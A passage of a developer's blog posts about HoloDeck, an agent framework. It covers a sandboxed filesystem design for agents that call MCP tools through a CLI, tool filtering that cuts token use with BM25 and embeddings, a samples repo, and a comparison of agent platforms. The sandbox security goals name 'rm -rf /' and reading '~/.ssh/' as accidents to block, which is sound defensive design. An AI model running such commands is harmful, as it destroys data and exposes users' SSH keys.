  ├── 🟢 LLM already knows bash (trained on millions of examples)
  └── 🟢 Composable commands (pipes, redirects, filters)

The Key Insight

The traditional approach treats the LLM as a passive consumer—it requests data and gets everything back. The filesystem approach treats the LLM as an active explorer—it navigates, filters, and retrieves only what it needs.

Traditional:    "Give me all the data, I'll figure it out"
                 └── Context explodes, tokens burn 🔥

Filesystem:     "Let me look around and grab what I need"
                 └── Context stays lean, costs drop 📉

Bridging the Gap: MCP as CLI

The diagrams above assume files already exist in the sandbox. But where do they come from?

This is where MCP CLI tools bridge the gap. Instead of MCP servers returning results directly into the LLM's context, they can be invoked as bash commands that write output to files.

MCP as CLI Commands

Several tools enable calling MCP servers from the command line:

mcp-cli by Phil Schmid uses a clean syntax:

# List available servers and tools
mcp-cli

# Inspect a tool's schema
mcp-cli filesystem/read_file

# Execute a tool
mcp-cli filesystem/read_file '{"path": "./README.md"}'

mcptools offers similar functionality:

mcp call read_file --params '{"path":"README.md"}' npx -y @modelcontextprotocol/server-filesystem ~

The Integration Pattern

Here's how traditional tools integrate with the filesystem approach:

═══════════════════════════════════════════════════════════════════════
  DATA INGESTION: MCP → SANDBOX FILESYSTEM
═══════════════════════════════════════════════════════════════════════

  ┌─ LLM decides it needs customer data ───────────────────────────────
  │
  │  "I need to query the database for enterprise customers.
  │   Let me fetch that data into my workspace."
  │
  └────────────────────────────┬───────────────────────────────────────
                               │
                               ▼
  ┌─ SANDBOX EXECUTION ────────────────────────────────────────────────
  │
  │  $ mcp-cli database/query_customers '{"tier": "enterprise"}' \
  │      > ./sandbox/data/customers.json
  │
  │  $ mcp-cli vectorstore/search '{"query": "pricing policy"}' \
  │      > ./sandbox/docs/pricing_results.json
  │
  │  $ mcp-cli brave-search/web_search '{"query": "competitor pricing"}' \
  │      > ./sandbox/research/competitors.json
  │
  └────────────────────────────┬───────────────────────────────────────
                               │
                               │  (data now exists as files)
                               ▼
  ┌─ SANDBOX FILESYSTEM STATE ─────────────────────────────────────────
  │
  │  ./sandbox/
  │  ├── data/
  │  │   └── customers.json          # 500 customer records
  │  ├── docs/
  │  │   └── pricing_results.json    # vectorstore search results
  │  └── research/
  │      └── competitors.json        # web search results
  │
  └────────────────────────────┬───────────────────────────────────────
                               │
                               ▼
  ┌─ LLM explores with bash (only pulls what it needs into context) ───
  │
  │  $ jq '.customers | length' ./sandbox/data/customers.json
  │  > 500
  │
  │  $ jq '.customers[] | select(.revenue > 1000000) | .name' \
  │      ./sandbox/data/customers.json | head -10
  │  > "Acme Corp"
  │  > "Globex Inc"
  │  > ...
  │
  │  $ grep -l "enterprise" ./sandbox/docs/*.json
  │  > ./sandbox/docs/pricing_results.json
  │
  └────────────────────────────────────────────────────────────────────

Why This Matters

The traditional approach would send all 500 customer records directly into context. With filesystem-based execution:

MCP call writes to file → Data exists but isn't in context yet
Agent uses jq to count → Only "500" enters context (3 tokens)
Agent filters with jq → Only 10 company names enter context (~30 tokens)
Agent got what it needed → Instead of 500 records (~50,000 tokens)

Phil Schmid's research on mcp-cli showed this pattern reduces tool-related token consumption from ~47,000 tokens to ~400 tokens—a 99% reduction—because agents discover and use tools just-in-time rather than loading all definitions upfront.

The Complete Flow

═══════════════════════════════════════════════════════════════════════
  COMPLETE FILESYSTEM + MCP FLOW
═══════════════════════════════════════════════════════════════════════

  User Query: "Which enterprise customers mentioned pricing concerns?"
                               │
                               ▼
  ┌─ STEP 1: Fetch data via MCP CLI ───────────────────────────────────
  │
  │ $ mcp-cli database/query_customers '{"tier":"enterprise"}' \
  │     > ./data/customers.json
  │
  │ $ mcp-cli crm/get_conversations '{"customer_ids":"$CUSTOMER_IDS"}' \
  │     > ./data/conversations.json
  │
  └────────────────────────────┬───────────────────────────────────────
                               │
                               ▼
  ┌─ STEP 2: Explore with bash ────────────────────────────────────────
  │
  │ $ jq -r '.[] | .id' ./data/customers.json | wc -l
  │ > 47
  │
  │ $ grep -l "pricing" ./data/conversations.json
  │ > (matches found)
  │
  │ $ jq '.[] | select(.text | contains("pricing")) | {customer, text}' \
  │     ./data/conversations.json > ./analysis/pricing_mentions.json
  │
  └────────────────────────────┬───────────────────────────────────────
                               │
                               ▼
  ┌─ STEP 3: Extract only relevant context ────────────────────────────
  │
  │ $ cat ./analysis/pricing_mentions.json | head -50
  │ > [{"customer": "Acme", "text": "pricing seems high..."},
  │ >  {"customer": "Globex", "text": "need better pricing..."}]
  │
  └────────────────────────────┬───────────────────────────────────────
                               │
                               ▼
                        ┌──────────────┐
                        │   Response   │
                        │  (informed   │
                        │   by ~50     │
                        │   relevant   │
                        │   lines)     │
                        └──────────────┘

  Token savings:
  ├── Without filesystem: 47 customers × 20 conversations × ~500 tokens = 470,000 tokens
  └── With filesystem: ~200 tokens (just the relevant pricing mentions)

Design Goals for My Experiment

I want to build something that integrates with Holodeck, which uses Semantic Kernel for agent orchestration. Here's what I'm aiming for:

1. Filesystem Security

Letting LLMs run bash commands on your actual filesystem is... not great. The horror stories write themselves.

My approach:

Copy-on-write isolation. Like AgentFS, the agent operates in a sandboxed directory. Writes don't touch original files until explicitly committed.
Audit logging. Every file operation gets logged. Every. Single. One. AgentFS makes this queryable, and I want the same—know what the agent did, when, and be able to roll it back.
Path restrictions. The agent only sees paths within its sandbox. No rm -rf / accidents, no reading ~/.ssh/.

This is non-negotiable for anything beyond toy experiments.

2. Token and Context Reduction

This is where the programmatic tool calling pattern really shines.

In traditional tool calling:

Model requests tool call
Tool executes
Entire output goes back into context
Model processes output
Repeat

Query a database with 1000 rows? That's 1000 rows in your context window. Every. Single. Time.

The filesystem pattern flips this:

Command outputs get written to files
To access results, the agent runs CLI commands: head -20 results.json, jq '.users[] | .name' data.json, grep -c "error" logs.txt
The agent pulls in only what it needs, when it needs it, in the format it needs it

This is how Claude Code handles large codebases without blowing through context limits. It's also why Vercel saw their costs drop 75%.

3. Integration with Semantic Kernel Tool Calling

Here's where I want to experiment. Holodeck already has tool definitions—vectorstore searches, MCP servers, custom functions. What if these could execute in "filesystem mode"?

Imagine a search_knowledge_base tool that, instead of returning results directly:

Runs as a subprocess
Writes results to ./sandbox/outputs/search_001.json
Returns just the path to the agent
Lets the agent cat or jq the file as needed

You get structured tool definitions for discoverability (the model knows what tools exist), but filesystem semantics for execution (the model controls what data actually enters context).

This could layer nicely with the tool search pattern I already built. Filter tools dynamically, then execute them in a sandboxed filesystem. Best of both worlds.

What might this look like in practice? Today, Holodeck tools are defined like this:

tools:
  - name: knowledge_search
    type: vectorstore
    config:
      index: product-docs

  - name: brave_search
    type: mcp
    server: brave-search

What if we added an execution mode?

tools:
  - name: knowledge_search
    type: vectorstore
    config:
      index: product-docs
    execution:
      mode: filesystem              # NEW: execute via CLI, write to file
      output_dir: ./sandbox/search

  - name: brave_search
    type: mcp
    server: brave-search
    execution:
      mode: filesystem
      output_dir: ./sandbox/web

The agent would then call these as CLI commands:

$ holodeck-tool knowledge_search '{"query": "pricing"}' > ./sandbox/search/001.json
$ holodeck-tool brave_search '{"query": "competitor analysis"}' > ./sandbox/web/001.json

Same tool definitions for discoverability. Filesystem semantics for execution. The agent still knows what tools exist (via the tool search pattern from my previous post), but now it controls when and how much of the output enters context.

4. Multi-Platform Support

I'm on macOS. Most servers run Linux. Some people poor souls use Windows.

The goal is cross-platform support, which means:

No macOS-specific sandboxing (sorry, sandbox-exec)
Abstracting filesystem operations through a clean interface
Probably leaning on Docker for production isolation

This is the stretch goal. I'll be happy if macOS and Linux work cleanly.

What This Isn't

To be clear: this is an experiment. I'm not replacing Holodeck's core execution model with bash. The standard tool calling flow works great for most use cases, and the tool search pattern I built already handles the "too many tools" problem.

What I'm building is an additional capability—a sandbox tool that agents can use when they need filesystem-style access for memory-intensive or retrieval-heavy tasks. Think of it as giving your agent a scratchpad with Unix superpowers.

The eventual API might look something like:

tools:
  - name: sandbox
    type: sandbox
    config:
      base_path: ./workspace
      allowed_commands: [cat, grep, ls, head, tail, find, jq, awk]
      audit_log: ./logs/sandbox.log
      copy_on_write: true

But that's getting ahead of myself. Implementation is for Part 2.

Next Up

In Part 2, I'll dig into implementation details:

Setting up the sandboxed filesystem
Copy-on-write semantics (probably borrowing ideas from AgentFS)
The command execution layer with proper escaping and timeouts
Audit logging and rollback

Part 3 will cover Semantic Kernel integration—making existing tools execute in "filesystem mode" and exposing the whole thing as a Holodeck tool.

If you've built something similar or have thoughts on the approach, I'd love to hear about it.

This post is part of a series on building filesystem-based agentic memory systems. Read my previous post on reducing token consumption with tool search for context on the first pattern I implemented.

How I Reduced My Agent's Token Consumption by 83%

Jeremiah Justin Barias — Fri, 16 Jan 2026 00:00:00 +0000

(Excuse the bad meme image prompt, I'm new at this LOL)

How I Reduced My Agent's Token Consumption by 83%

I was building a research agent with HoloDeck for paper search, Brave Search for web lookups, and a memory MCP server for knowledge graphs. Pretty standard stuff.

Then I looked at my API call payload for a simple "hi there" message:

{
  "messages": [...],
  "tools": [
    {"function": {"name": "vectorstore-search_papers", ...}},
    {"function": {"name": "brave_search-brave_image_search", ...}},
    {"function": {"name": "brave_search-brave_local_search", ...}},
    {"function": {"name": "brave_search-brave_news_search", ...}},
    {"function": {"name": "brave_search-brave_summarizer", ...}},
    {"function": {"name": "brave_search-brave_video_search", ...}},
    {"function": {"name": "brave_search-brave_web_search", ...}},
    {"function": {"name": "memory-add_observations", ...}},
    {"function": {"name": "memory-create_entities", ...}},
    {"function": {"name": "memory-create_relations", ...}},
    {"function": {"name": "memory-delete_entities", ...}},
    {"function": {"name": "memory-delete_observations", ...}},
    {"function": {"name": "memory-delete_relations", ...}},
    {"function": {"name": "memory-open_nodes", ...}},
    {"function": {"name": "memory-read_graph", ...}},
    {"function": {"name": "memory-search_nodes", ...}}
  ]
}

16 tools. For "hi there."

The Brave Search MCP server alone exposes 6 functions with verbose parameter schemas (country codes, language enums, pagination options). The memory server adds another 9. Every single request was burning tokens on tool definitions the model would never use.

The Anthropic Inspiration

Anthropic's engineering team published a fantastic post on advanced tool use that addressed exactly this problem. Their key insight: don't load all tools upfront—discover them on demand.

Their numbers were compelling: a five-server MCP setup went from ~55K tokens to ~8.7K tokens. An 85% reduction.

I wanted that for HoloDeck. But I'm using Microsoft's Semantic Kernel, not Claude's native tool system. So I had to figure out how to make it work.

The Architecture

Here's what I built:

User Query
    │
    ▼
┌─────────────────────────────┐
│     ToolFilterManager       │
│  ┌───────────────────────┐  │
│  │      ToolIndex        │  │
│  │  • Tool metadata      │  │
│  │  • Embeddings         │  │
│  │  • BM25 index         │  │
│  │  • Usage tracking     │  │
│  └───────────────────────┘  │
│             │               │
│      search(query)          │
│             │               │
│             ▼               │
│    Filtered tool list       │
└─────────────────────────────┘
    │
    ▼
┌─────────────────────────────┐
│  FunctionChoiceBehavior     │
│  .Auto(filters={            │
│    "included_functions":    │
│      ["tool1", "tool2"]     │
│  })                         │
└─────────────────────────────┘
    │
    ▼
Semantic Kernel Agent Invocation
(only selected tools in context)

Three main components:

ToolIndex - Indexes all tools from Semantic Kernel plugins with embeddings and BM25 stats
ToolFilterManager - Orchestrates filtering and integrates with SK's execution settings
FunctionChoiceBehavior - SK's native mechanism for restricting which functions the LLM sees

Building the Tool Index

The first challenge: extracting tool metadata from Semantic Kernel's plugin system. SK organizes tools as functions within plugins, so I needed to crawl that structure:

async def build_from_kernel(
    self,
    kernel: Kernel,
    embedding_service: EmbeddingGeneratorBase | None = None,
    defer_loading_map: dict[str, bool] | None = None,
) -> None:
    plugins: dict[str, KernelPlugin] = getattr(kernel, "plugins", {})

    for plugin_name, plugin in plugins.items():
        functions: dict[str, KernelFunction] = getattr(plugin, "functions", {})

        for func_name, func in functions.items():
            full_name = f"{plugin_name}-{func_name}"

            # Extract description and parameters for search
            description = getattr(func, "description", "")
            parameters: list[str] = []

            func_params: list[KernelParameterMetadata] | None = getattr(
                func, "parameters", None
            )
            if func_params:
                for param in func_params:
                    if param.description:
                        parameters.append(f"{param.name}: {param.description}")

            # Create searchable metadata
            tool_metadata = ToolMetadata(
                name=func_name,
                plugin_name=plugin_name,
                full_name=full_name,
                description=description,
                parameters=parameters,
                defer_loading=defer_loading_map.get(full_name, True),
            )

            self.tools[full_name] = tool_metadata

Each tool becomes a searchable document combining its name, plugin, description, and parameter info.

Three Search Methods

I implemented three ways to find relevant tools:

1. Semantic Search (Embeddings)

The obvious choice. Embed the query, embed the tools, compute cosine similarity:

async def _semantic_search(
    self, query: str, embedding_service: EmbeddingGeneratorBase | None
) -> list[tuple[ToolMetadata, float]]:
    # Generate query embedding
    query_embeddings = await embedding_service.generate_embeddings([query])
    query_embedding = list(query_embeddings[0])

    results: list[tuple[ToolMetadata, float]] = []
    for tool in self.tools.values():
        if tool.embedding:
            score = _cosine_similarity(query_embedding, tool.embedding)
            results.append((tool, score))

    return results

Good for understanding intent. "Find information about refunds" matches get_return_policy even though they share no keywords. Scores range from 0.0 to 1.0, with good matches typically in the 0.4-0.6 range.

2. BM25 (Keyword Matching)

Classic information retrieval using BM25 (Robertson & Zaragoza, 2009). Sometimes you want exact matches:

def _bm25_score_single(self, query: str, tool: ToolMetadata) -> float:
    query_tokens = _tokenize(query)
    doc_tokens = _tokenize(self._create_searchable_text(tool))

    # Count term frequencies
    term_freq: dict[str, int] = {}
    for token in doc_tokens:
        term_freq[token] = term_freq.get(token, 0) + 1

    score = 0.0
    for term in query_tokens:
        if term not in term_freq:
            continue

        tf = term_freq[term]
        idf = self._idf_cache.get(term, 0.0)

        # BM25 formula
        numerator = tf * (self._BM25_K1 + 1)
        denominator = tf + self._BM25_K1 * (
            1 - self._BM25_B + self._BM25_B * doc_length / self._avg_doc_length
        )
        score += idf * (numerator / denominator)

    return score

Fast, no embeddings needed. Great for technical terms: "brave_search" should definitely match tools from the Brave Search plugin.

Important gotcha: The tokenizer must split on underscores! Tool names like brave_web_search need to tokenize as ["brave", "web", "search"], not as a single token. Otherwise queries containing "web" won't match the tool. I learned this the hard way when "find papers on the web" was returning brave_image_search instead of brave_web_search.

def _tokenize(text: str) -> list[str]:
    # Use [a-zA-Z0-9]+ to split on underscores (not \w+ which includes them)
    tokens = re.findall(r"[a-zA-Z0-9]+", text.lower())
    return tokens

3. Hybrid (Reciprocal Rank Fusion)

Why choose? Combine both with Reciprocal Rank Fusion (Cormack et al., 2009):

async def _hybrid_search(
    self, query: str, embedding_service: EmbeddingGeneratorBase | None
) -> list[tuple[ToolMetadata, float]]:
    semantic_results = await self._semantic_search(query, embedding_service)
    bm25_results = self._bm25_search(query)

    # Reciprocal Rank Fusion
    k = 60 # Constant from the original paper
    rrf_scores: dict[str, float] = {}

    semantic_sorted = sorted(semantic_results, key=lambda x: x[1], reverse=True)
    for rank, (tool, _) in enumerate(semantic_sorted):
        rrf_scores[tool.full_name] = rrf_scores.get(tool.full_name, 0.0) + 1 / (k + rank + 1)

    bm25_sorted = sorted(bm25_results, key=lambda x: x[1], reverse=True)
    for rank, (tool, _) in enumerate(bm25_sorted):
        rrf_scores[tool.full_name] = rrf_scores.get(tool.full_name, 0.0) + 1 / (k + rank + 1)

    # Normalize to 0-1 range (raw RRF scores are ~0.01-0.03)
    max_score = max(rrf_scores.values()) if rrf_scores else 1.0
    normalized = {name: score / max_score for name, score in rrf_scores.items()}

    return [(self.tools[name], score) for name, score in normalized.items()]

RRF rewards tools that rank highly in both methods without being dominated by either's raw scores.

Critical detail: Raw RRF scores are tiny (0.01-0.03 range) because of the formula 1/(k+rank+1) with k=60. If you apply a similarity_threshold of 0.3 to raw scores, everything gets filtered out! You must normalize RRF scores to 0-1 range by dividing by the max score. After normalization, good matches score 0.8-1.0.

The Semantic Kernel Integration

Semantic Kernel has a FunctionChoiceBehavior class that controls which functions the LLM can call. It supports a filters parameter:

def create_function_choice_behavior(
    self, filtered_tools: list[str]
) -> FunctionChoiceBehavior:
    return FunctionChoiceBehavior.Auto(
        filters={"included_functions": filtered_tools}
    )

That's it. Pass in a list of tool names, and SK only sends those tool definitions to the LLM.

The manager wires it all together:

async def prepare_execution_settings(
    self,
    query: str,
    base_settings: PromptExecutionSettings,
) -> PromptExecutionSettings:
    if not self.config.enabled:
        return base_settings

    # Filter tools based on query
    filtered_tools = await self.filter_tools(query)

    # Create behavior with only filtered tools
    function_choice = self.create_function_choice_behavior(filtered_tools)

    # Clone settings and attach filtered behavior
    cloned = self._clone_settings(base_settings)
    cloned.function_choice_behavior = function_choice

    return cloned

Configuration

I made it all YAML-configurable because that's the HoloDeck way:

tool_filtering:
  enabled: true
  top_k: 5 # Max tools per request
  similarity_threshold: 0.5 # Minimum score for inclusion
  always_include:
    - search_papers # Critical tools always available
  always_include_top_n_used: 0 # Disable until usage patterns stabilize
  search_method: hybrid # Options: semantic, bm25, hybrid

Sensible Defaults

Here's what I recommend starting with:

Parameter	Default	Rationale
`top_k`	5	Enough tools for most tasks without token bloat
`similarity_threshold`	0.5	Include tools at least 50% as relevant as top result
`always_include`	[]	Agent-specific—add your critical tools here
`always_include_top_n_used`	0	Avoid early usage bias; enable after patterns stabilize
`search_method`	hybrid	Best of semantic + keyword matching

Threshold Tuning by Search Method

All search methods now return normalized scores in the 0-1 range, making the similarity_threshold consistent across methods:

Method	Good Match Range	Recommended Threshold
semantic	0.4 - 0.6	0.3 - 0.4
bm25 (normalized)	0.8 - 1.0	0.5 - 0.6
hybrid (normalized)	0.8 - 1.0	0.5 - 0.6

A threshold of 0.5 means "include tools scoring at least 50% of what the top result scores." This filters out clearly irrelevant tools while keeping useful ones.

Configuration Knobs

top_k : How many tools max per request
similarity_threshold : Below this score, tools get filtered out
always_include : Your core tools that should always be available
always_include_top_n_used : Adaptive optimization—frequently used tools stay in context. Caution: This tracks usage across requests, so early/accidental tool calls can bias future filtering. Keep at 0 during development.

Here's the full agent configuration I was testing with:

# HoloDeck Research Agent Configuration
name: "research-agent"
description: "Research analysis AI assistant"

model:
  provider: azure_openai
  name: gpt-5.2

instructions:
  file: instructions/system-prompt.md

# Tools Configuration
tools:
  # Vectorstore for research paper search
  - type: vectorstore
    name: search_papers
    description: Search research papers and documents for relevant passages
    source: data/papers_index.json
    embedding_model: text-embedding-3-small
    top_k: 5
    database:
      provider: chromadb

  # Brave Search MCP Server (exposes 6 functions)
  - type: mcp
    name: brave_search
    description: Web search using Brave Search API
    command: npx
    args: ["-y", "@brave/brave-search-mcp-server"]
    env:
      BRAVE_API_KEY: ${BRAVE_API_KEY}

  # Memory MCP Server (exposes 9 functions)
  - type: mcp
    name: memory
    description: Persistent memory using local knowledge graph
    command: npx
    args: ["-y", "@modelcontextprotocol/server-memory"]

# Tool Filtering - This is where the magic happens
tool_filtering:
  enabled: true
  top_k: 5
  similarity_threshold: 0.5
  always_include:
    - search_papers
  always_include_top_n_used: 0
  search_method: hybrid

Three tool sources. 16 total functions exposed. Without filtering, every request sends all 16 tool schemas.

The Results

Let me show you actual API payloads. With filtering off , here's what gets sent for a simple "hi there":

{
  "messages": [
    {"role": "system", "content": "# System Prompt for research-agent..."},
    {"role": "user", "content": "hi there"}
  ],
  "model": "gpt-5.2",
  "tools": [
    {"type": "function", "function": {"name": "vectorstore-search_papers", "description": "Search research papers...", "parameters": {...}}},
    {"type": "function", "function": {"name": "brave_search-brave_image_search", "description": "Performs an image search...", "parameters": {"properties": {"query": {...}, "country": {...}, "search_lang": {...}, "count": {...}, "safesearch": {...}, "spellcheck": {...}}, ...}}},
    {"type": "function", "function": {"name": "brave_search-brave_local_search", ...}},
    {"type": "function", "function": {"name": "brave_search-brave_news_search", ...}},
    {"type": "function", "function": {"name": "brave_search-brave_summarizer", ...}},
    {"type": "function", "function": {"name": "brave_search-brave_video_search", ...}},
    {"type": "function", "function": {"name": "brave_search-brave_web_search", ...}},
    {"type": "function", "function": {"name": "memory-add_observations", ...}},
    {"type": "function", "function": {"name": "memory-create_entities", ...}},
    {"type": "function", "function": {"name": "memory-create_relations", ...}},
    {"type": "function", "function": {"name": "memory-delete_entities", ...}},
    {"type": "function", "function": {"name": "memory-delete_observations", ...}},
    {"type": "function", "function": {"name": "memory-delete_relations", ...}},
    {"type": "function", "function": {"name": "memory-open_nodes", ...}},
    {"type": "function", "function": {"name": "memory-read_graph", ...}},
    {"type": "function", "function": {"name": "memory-search_nodes", ...}}
  ]
}

16 tools. 5,888 tokens. For "hi there."

Look at those Brave Search parameter schemas—country code enums, language preferences, pagination options, safesearch filters. Each tool definition is a token hog.

With filtering on :

{
  "messages": [
    {"role": "system", "content": "# System Prompt for research-agent..."},
    {"role": "user", "content": "hi there"}
  ],
  "model": "gpt-5.2",
  "tools": [
    {"type": "function", "function": {"name": "vectorstore-search_papers", ...}},
    {"type": "function", "function": {"name": "brave_search-brave_web_search", ...}}
  ]
}

2 tools. 1,016 tokens.

That's an 83% reduction —from 5,888 tokens down to 1,016.

The logs tell the story:

Tool filtering: 2/16 tools selected for query: 'hi there...'
Selected tools: ['vectorstore-search_papers', 'brave_search-brave_web_search']

For a real research query like "Find papers on transformer architectures on the web", the filtering gets smarter:

Tool filtering: 3/16 tools selected
Selected tools: ['vectorstore-search_papers', 'brave_search-brave_web_search', 'memory-search_nodes']

The right tools. Automatically. Based on what the user actually asked.

Lessons Learned

1. MCP servers are tool factories. A single MCP server can expose dozens of functions. Without filtering, your token costs explode.

2. Tokenization matters for BM25. Make sure your tokenizer splits on underscores so brave_web_search becomes ["brave", "web", "search"]. Otherwise keyword matching fails on tool names.

3. Normalize your search scores. Raw BM25 scores range from 0-10+, and raw RRF scores are tiny (0.01-0.03). Both need normalization to 0-1 range, or your similarity_threshold won't work consistently. Semantic search (cosine similarity) is already 0-1.

4. After normalization, thresholds are consistent. With all methods normalized, good matches score 0.8-1.0 for BM25/hybrid, and 0.4-0.6 for semantic. A threshold of 0.5 works well across methods.

5. always_include is your safety net. Some tools are so core to your agent that you never want them filtered out. Make that explicit.

6. Be careful with always_include_top_n_used. This feature tracks usage and auto-includes frequently used tools. Sounds great, but early/accidental usage can bias future requests. Keep it at 0 during development.

What's Next

This is just tool filtering. Anthropic's post also covers:

Programmatic tool calling : Let the model write code to process intermediate results
Tool use examples : Providing concrete usage patterns to reduce parameter ambiguity

I might implement those next. But for now, getting 83% token reduction with a few hundred lines of code feels pretty good.

The full implementation is in HoloDeck's tool_filter module. PRs welcome.

[Boost]

Jeremiah Justin Barias — Fri, 09 Jan 2026 22:27:13 +0000

HoloDeck Part 1: Why Building AI Agents Feels So Broken

Jeremiah Justin Barias ・ Dec 6 '25

#ai #agents #evals

Holodeck samples

Jeremiah Justin Barias — Fri, 09 Jan 2026 22:23:43 +0000

If you want to get moving fast with HoloDeck, this samples repo is the quickest on-ramp. It's a set of ready-to-run examples you can run, poke around in, and fork as templates:

https://github.com/justinbarias/holodeck-samples

Configuring Prerequisites
Explore the use cases
Coding assistant integration (Claude Code, GitHub Copilot)

Configuring Prerequisites

You'll need a handful of things installed to run the samples locally:

Clone the repo
Install HoloDeck CLI
Grab the supporting tools
Fire up the shared infrastructure
Pick a sample + provider
Fire up the agent and frontend

Explore the use cases

Here are the four use cases, each with OpenAI, Azure OpenAI, and Ollama flavors:

Ticket Routing (ticket-routing/) - Routes support tickets with structured outputs and confidence scores.
Customer Support (customer-support/) - RAG-powered chatbot with memory and escalation.
Content Moderation (content-moderation/) - Multi-category moderation with policy enforcement and consistency checks.
Legal Summarization (legal-summarization/) - Clause extraction, risk flags, and summary quality metrics.

Each sample sticks to the same layout, so you can find stuff fast:

<use-case>/<provider>/
├── agent.yaml
├── config.yaml
├── .env.example
├── instructions/
├── data/
└── copilotkit/

Coding assistant integration (Claude Code, GitHub Copilot)

The repo also comes with built-in prompts for both Claude Code and GitHub Copilot to speed up agent authoring and tuning.

Claude Code

Slash commands live in .claude/commands/
/holodeck.create - Guided wizard for creating a new agent
/holodeck.tune path/to/agent.yaml - Tuning helper that boosts test performance

GitHub Copilot

Prompt files live in .github/prompts/
holodeck-create and holodeck-tune provide the same workflows as guided prompts
In VS Code, type / or #prompt: in Copilot Chat to launch them

Both tools are great for small, reviewable tweaks. Keep secrets out of prompts, and sanity-check changes by running the sample after edits.

Star, clone, fork, or use however you like! If you run into issues, file them here.

HoloDeck Part 2: What's Out There for AI Agents

Jeremiah Justin Barias — Fri, 15 Nov 2024 00:00:00 +0000

In Part 1, I talked about why agent development feels broken. Before building something myself, I spent time looking at what's already out there. Here's what I found.

This is Part 2 of a 3-Part Series

Why It Feels Broken - What's wrong with agent development
What's Out There (You are here)
What I'm Building - HoloDeck's approach and how it works

The Landscape

A bunch of platforms tackle parts of this problem. I wanted something open-source, self-hosted, and config-driven—something that fits into existing CI/CD workflows without vendor lock-in. That shaped how I evaluated these tools.

Developer Tools & Frameworks

LangSmith (LangChain Team)

LangSmith is really good at what it does—production observability and tracing for LangChain apps. If you're already in the LangChain ecosystem and need monitoring, it's solid.

Aspect	What i want	LangSmith
Deployment Model	Self-hosted (open-source)	SaaS only
CI/CD Integration	CLI-based, works in any pipeline	API-based, needs cloud connectivity
Agent Definition	Pure YAML	Python code + LangChain SDK
Primary Focus	Agent experimentation & deployment	Production observability & tracing
Agent Orchestration	Multi-agent patterns	Not designed for multi-agent workflows
Agent Evaluation	Custom criteria, LLM-as-judge, NLP metrics (BLEU, METEOR, ROUGE, F1)	LLM-as-judge, custom evaluators
Self-Hosted LLMs	Native support (Ollama, vLLM, OpenAI-compatible)	Via LangChain integrations

Different tools for different problems. LangSmith is about monitoring production apps; I was looking for something to help with the build-and-test loop.

MLflow GenAI (Databricks)

MLflow is a beast for ML experiment tracking. Their GenAI additions are interesting, but it's designed for model comparison rather than agent workflows. If you're already using MLflow for ML ops, the GenAI features slot in nicely.

Aspect	What i want	MLflow GenAI
CI/CD Integration	CLI-native	Python SDK + REST API
Infrastructure	Lightweight, portable	Heavy (ML tracking server, often Databricks)
Agent Support	Purpose-built for agents	Focused on model evaluation
Multi-Agent	Native orchestration patterns	Single model/variant comparison
Complexity	Minimal (YAML)	Higher (ML engineering mindset)
Agent Evaluation	Custom criteria, LLM-as-judge, NLP metrics	LLM-as-judge, custom scorers

The infrastructure overhead was the main thing that put me off. I wanted something lighter.

Microsoft PromptFlow

PromptFlow has a nice visual approach—you can see your flows as graphs, which is great for understanding what's happening. But it's really about individual functions and tools, not full agent orchestration.

Aspect	What i want	PromptFlow
CI/CD Integration	CLI-first	Python SDK, Azure-centric
Scope	Full agent lifecycle	Individual tools & functions
Design Target	Multi-agent workflows	Single tool/AI function development
Configuration	Pure YAML	Visual flow graphs + low-code Python
Agent Orchestration	Multi-agent patterns	Not designed for multi-agent
Self-Hosted	Yes	Limited (designed for Azure)
Agent Evaluation	Custom criteria, LLM-as-judge, NLP metrics	LLM-as-judge (GPT-based), F1/BLEU/ROUGE

If you're building individual AI functions and live in Azure, PromptFlow makes sense. For agent-level work, it's not quite there.

The Cloud Providers

All three major clouds have agent platforms now. They're impressive, but they come with the obvious trade-off: you're locked into their ecosystem.

Azure AI Foundry (Microsoft)

Azure AI Foundry is Microsoft's enterprise play. It integrates with the whole Microsoft stack—Teams, Copilot, etc. If you're already a Microsoft shop, there's a lot to like.

Aspect	What i want	Azure AI Foundry
Deployment Model	Self-hosted (open-source)	SaaS (Azure-dependent)
CI/CD Integration	CLI, works anywhere	Azure DevOps/GitHub Actions
Agent Definition	Pure YAML	YAML Workflows and Prompt agents
Primary Focus	Experimentation & deployment	Enterprise agent orchestration
Agent Orchestration	Multi-agent patterns	Multi-agent via Agents Framework or Workflows
Self-Hosted	Yes	No (Azure required)
Agent Evaluation	Custom criteria, LLM-as-judge, NLP	LLM-as-judge, NLP metrics

The workflows and prompt-based agents are interesting, but still hard locked into the Foundry offering.

Amazon Bedrock AgentCore (AWS)

Bedrock AgentCore is AWS's managed agent service. Good for running agents at scale if you're already on AWS and using their model offerings.

Aspect	What i want	Amazon Bedrock AgentCore
Deployment Model	Self-hosted (open-source)	SaaS (AWS-managed)
CI/CD Integration	CLI, works anywhere	AWS CodePipeline?/API-based
Agent Definition	Pure YAML	Code (SDK + LangGraph, CrewAI, etc.)
Primary Focus	Experimentation & deployment	Enterprise agent operations at scale
Agent Orchestration	Multi-agent patterns	Multi-agent collaboration (supervisor modes)
Self-Hosted	Yes	No (AWS required)
Agent Evaluation	Custom criteria, LLM-as-judge, NLP	LLM-as-judge, custom metrics, RAG eval
Self-Hosted LLMs	Native support (Ollama, vLLM)	Bedrock models only

If you want to use local models or run outside AWS, this isn't really an option.

Vertex AI Agent Engine (Google Cloud)

Google's entry into the agent space. The A2A protocol for multi-agent communication is interesting. Like the others, you're tied to GCP.

Aspect	What i want	Vertex AI Agent Engine
Deployment Model	Self-hosted (open-source)	SaaS (GCP-managed)
CI/CD Integration	CLI, works anywhere	Cloud Build/GitHub Actions
Agent Definition	Pure YAML	Code (ADK, LangChain, LangGraph)
Primary Focus	Experimentation & deployment	Production agent runtime
Agent Orchestration	Multi-agent patterns	Multi-agent via A2A protocol
Self-Hosted	Yes	No (GCP required)
Agent Evaluation	Custom criteria, LLM-as-judge, NLP	LLM-as-judge (Gemini), ROUGE/BLEU
Self-Hosted LLMs	Native support (Ollama, vLLM)	vLLM in Model Garden (complex setup)

Similar story—great if you're committed to GCP, but not portable.

What's Missing

After looking at all of these, here's what I couldn't find:

Self-hosted and cloud-agnostic - Everything is either SaaS or tied to a specific cloud
Declarative agent definition - Most require SDK code, not just config
Vendor-neutral CI/CD - The integrations assume you're using their ecosystem
Testing + evaluation + deployment in one place - Usually you're stitching together multiple tools

This is the gap I'm trying to fill with HoloDeck. Not saying it's better than these tools—they're solving different problems. But if you care about portability and owning your workflow, there wasn't much out there.

Quick Reference

If you need...	Look at...
Production observability for LangChain	LangSmith
ML experiment tracking at scale	MLflow
Visual prompt flow design on Azure	PromptFlow
